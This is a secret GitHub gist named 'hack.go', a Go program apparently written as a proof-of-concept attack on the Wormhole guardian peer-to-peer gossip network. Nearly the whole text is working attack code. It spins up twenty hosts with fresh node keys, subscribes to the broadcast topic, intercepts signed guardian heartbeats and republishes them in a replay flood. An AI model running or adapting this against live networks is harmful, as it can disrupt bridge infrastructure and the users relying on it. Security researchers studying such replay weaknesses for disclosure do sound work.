Skip to content

Instantly share code, notes, and snippets.

@0xfadam

0xfadam/hack.go Secret

Last active April 4, 2024 06:57
Show Gist options
  • Save 0xfadam/81b73e34e4ca32770c80f80236db1e81 to your computer and use it in GitHub Desktop.
Save 0xfadam/81b73e34e4ca32770c80f80236db1e81 to your computer and use it in GitHub Desktop.
package main
import (
"context"
"flag"
"fmt"
"math/rand"
"os"
"sync"
"time"
"github.com/certusone/wormhole/node/pkg/common"
"github.com/certusone/wormhole/node/pkg/p2p"
gossipv1 "github.com/certusone/wormhole/node/pkg/proto/gossip/v1"
ipfslog "github.com/ipfs/go-log/v2"
pubsub "github.com/libp2p/go-libp2p-pubsub"
"go.uber.org/zap"
"google.golang.org/protobuf/proto"
)
var wg sync.WaitGroup // WaitGroup instantiation
var (
pubKey string
url string
nbThreads int
timeout time.Duration
p2pNetworkID string
p2pBootstrap string
p2pPort uint
nodeKeyPath string
logLevel string
createPayload bool
launchAttack bool
)
func generateRandomString(length int) string {
// Define the character set
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
// Seed the random number generator
rand.Seed(time.Now().UnixNano())
// Generate the random string
b := make([]byte, length)
for i := range b {
b[i] = charset[rand.Intn(len(charset))]
}
return string(b)
}
func iteratePorts(start, end uint16) func() uint16 {
currentPort := start
return func() uint16 {
if currentPort >= end {
currentPort = start
}
port := currentPort
currentPort++
return port
}
}
func main() {
flag.StringVar(&pubKey, "pubKey", "", "A guardian public key")
flag.StringVar(&url, "url", "", "The public web url of a guardian")
flag.DurationVar(&timeout, "timeout", 3*time.Second, "The duration to wait for a heartbeat and observations")
flag.StringVar(&p2pNetworkID, "network", "/wormhole/dev", "P2P network identifier")
flag.StringVar(&p2pBootstrap, "bootstrap", "/dns4/guardian-0.guardian/udp/8999/quic/p2p/12D3KooWL3XJ9EMCyZvmmGXL2LMiVBtrVa2BuESsJiXkSj7333Jw", "The list of bootstrap peers (comma-separated) to connect to for gossip network tests. This can be useful to test a particular bootstrap peer.")
flag.StringVar(&logLevel, "logLevel", "error", "The logging level. Valid values are error, warn, info, and debug.")
flag.Parse()
rand.Seed(time.Now().UnixNano())
lvl, err := ipfslog.LevelFromString(logLevel)
if err != nil {
fmt.Println("Invalid log level")
os.Exit(1)
}
logger := ipfslog.Logger("health-check").Desugar()
ipfslog.SetAllLoggers(lvl)
rootCtx, rootCtxCancel := context.WithCancel(context.Background())
defer rootCtxCancel()
var wg sync.WaitGroup
startPort := uint16(8000)
endPort := uint16(9000)
portIterator := iteratePorts(startPort, endPort)
for i := 0; i < 20; i++ {
wg.Add(1)
go func(idx int) {
defer wg.Done()
port := portIterator()
interceptAndReplayHeartbeat(rootCtx, logger, uint(port), idx)
}(i)
}
wg.Wait()
}
func interceptAndReplayHeartbeat(ctx context.Context, logger *zap.Logger, port uint, idx int) {
// Generate health check path and retrieve node key
healthCheckPath := "/tmp/" + generateRandomString(10)
priv, err := common.GetOrCreateNodeKey(logger, healthCheckPath)
if err != nil {
logger.Fatal("Failed to load node key", zap.Error(err))
}
// Create local context for this interception and defer its cancellation
localContext, localCancel := context.WithCancel(ctx)
defer localCancel()
// Create host
components := p2p.DefaultComponents()
components.Port = port
host, err := p2p.NewHost(logger, localContext, p2pNetworkID, p2pBootstrap, components, priv)
if err != nil {
logger.Fatal("failed to create host", zap.String("p2pBootstrap", p2pBootstrap), zap.Error(err))
}
// Create pubsub subscription
ps, err := pubsub.NewGossipSub(localContext, host)
if err != nil {
logger.Fatal("failed to create subscription", zap.String("p2pBootstrap", p2pBootstrap), zap.Error(err))
}
// Join topic
topic := fmt.Sprintf("%s/%s", p2pNetworkID, "broadcast")
topicHandle, err := ps.Join(topic)
if err != nil {
logger.Fatal("failed to join topic", zap.String("p2pBootstrap", p2pBootstrap), zap.Error(err))
}
// Subscribe to the topic
sub, err := topicHandle.Subscribe()
if err != nil {
logger.Fatal("failed to subscribe to topic", zap.String("p2pBootstrap", p2pBootstrap), zap.Error(err))
}
logger.Warn("Waiting 20s to ensure we are connected")
time.Sleep(time.Duration(20) * time.Second)
// Goroutine to intercept and replay heartbeats
go func() {
for {
select {
case <-ctx.Done():
return
default:
envelope, err := sub.Next(localContext)
if err != nil {
logger.Info("failed to receive pubsub message", zap.Error(err))
break
}
var msg gossipv1.GossipMessage
err = proto.Unmarshal(envelope.Data, &msg)
if err != nil {
logger.Info("received invalid message",
zap.Binary("data", envelope.Data),
zap.String("from", envelope.GetFrom().String()))
continue
}
switch msg.Message.(type) {
case *gossipv1.GossipMessage_SignedHeartbeat:
time.Sleep((time.Duration(10) * time.Second) + (time.Duration(idx) * 200 * time.Millisecond))
b, err := proto.Marshal(&msg)
if err != nil {
logger.Error("Failed to marshal heartbeat", zap.Error(err))
continue
}
err = topicHandle.Publish(localContext, b)
if err != nil {
logger.Error("Failed to publish heartbeat", zap.Error(err))
continue
}
logger.Warn("Heartbeat replayed successfully.")
}
}
}
}()
// Sleep for a while before cancelling the local context
time.Sleep(timeout * 500)
// Cancel local context to break out of the goroutine
localCancel()
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment